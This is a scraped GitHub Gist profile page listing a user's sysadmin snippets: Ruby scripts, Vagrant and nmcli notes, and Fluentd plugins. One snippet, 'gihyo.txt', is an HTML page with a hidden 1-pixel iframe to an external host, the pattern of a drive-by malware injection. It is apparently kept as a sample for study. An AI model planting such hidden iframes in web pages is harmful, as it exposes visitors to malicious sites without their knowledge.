Skip to content

Instantly share code, notes, and snippets.

View yteraoka's full-sized avatar

Yoshinori Teraoka yteraoka

View GitHub Profile
#!/home/ytera/ruby-2.1.0/bin/ruby

require 'csv'
require 'json'
require 'net/http'
require 'uri'

indexname = 'ldgourmet'
documentname = 'restaurant'

Vagrant memo

メモリサイズ、CPU数を変更する

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|

  ...

  config.vm.provider :virtualbox do |vb|

kandan setup memo

2014-02-15

stable version

yum install nodejs --enablerepo=epel

Change Language

View -> Change Language -> Get more languages...

http://keepass.info/translations.html

ダウンロードした zip ファイルを展開して ~/.local/share/KeePass/ に置く、日本語の場合のファイル名は Japanese.lngx

@yteraoka
yteraoka / spfaddr.rb
Created July 1, 2014 12:16
SPF record の ip4 部分を再帰的に取り出す
#! /usr/bin/env ruby
#****************************************************************************
#
# Usage: spfaddr.rb <domain>
#
# spfaddr.rb _spf.google.com
#
#****************************************************************************
require 'dnsruby'
@yteraoka
yteraoka / gihyo.txt
Last active August 29, 2015 14:10
gihyo-20141206
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<iframe src="http://www.koushin-lawfirm.jp/" style="width:100%; height:100%;"></iframe>
<iframe src="http://live.livelistingreport.com/?PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cYWIyYzgzZDgwNTI1MTFjYmQwMDk4ZjFlODM0ODA4ZjI" style="width:1px; height:1px; visibility:hidden;"></iframe>
</body>
</html>
@yteraoka
yteraoka / nmcli-bonding.md
Last active October 2, 2015 05:03
nmcli-bonding

CentOS7 で nmcli を使って bonding 設定を行う。

前提

  • ネットワークのインターフェースが2つある
  • 両方とも switch に接続されている
  • 片方だけIPアドレスが設定してあり有効になっている

↓こんな環境

@yteraoka
yteraoka / in_tailasis.rb
Last active December 12, 2015 02:09
fluent-agent-lite のように正規表現なしで行をそのまま一つのキーに突っ込んで取り込む fluentd plugin
module Fluent
class AsisTailInput < TailInput
Plugin.register_input('tailasis', self)
def initialize
super
@parser = nil
end
@yteraoka
yteraoka / out_dbi.rb
Last active December 13, 2015 20:08
DBI を使って PostgreSQL でも MySQL にでも出力できる Fluentd Output Plugin https://github.com/yteraoka/fluent-plugin-dbi
# <match dbi.test>
# type dbi
# #dsn DBI:Pg:dbname:127.0.0.1
# dsn DBI:Mysql:dbname:127.0.0.1
# db_user username
# db_pass password
# keys host,time_m,method,uri,protocol,status
# query insert into access_log (host, time, method, uri, protocol, status) values (?, ?, ?, ?, ?, ?)
# </match>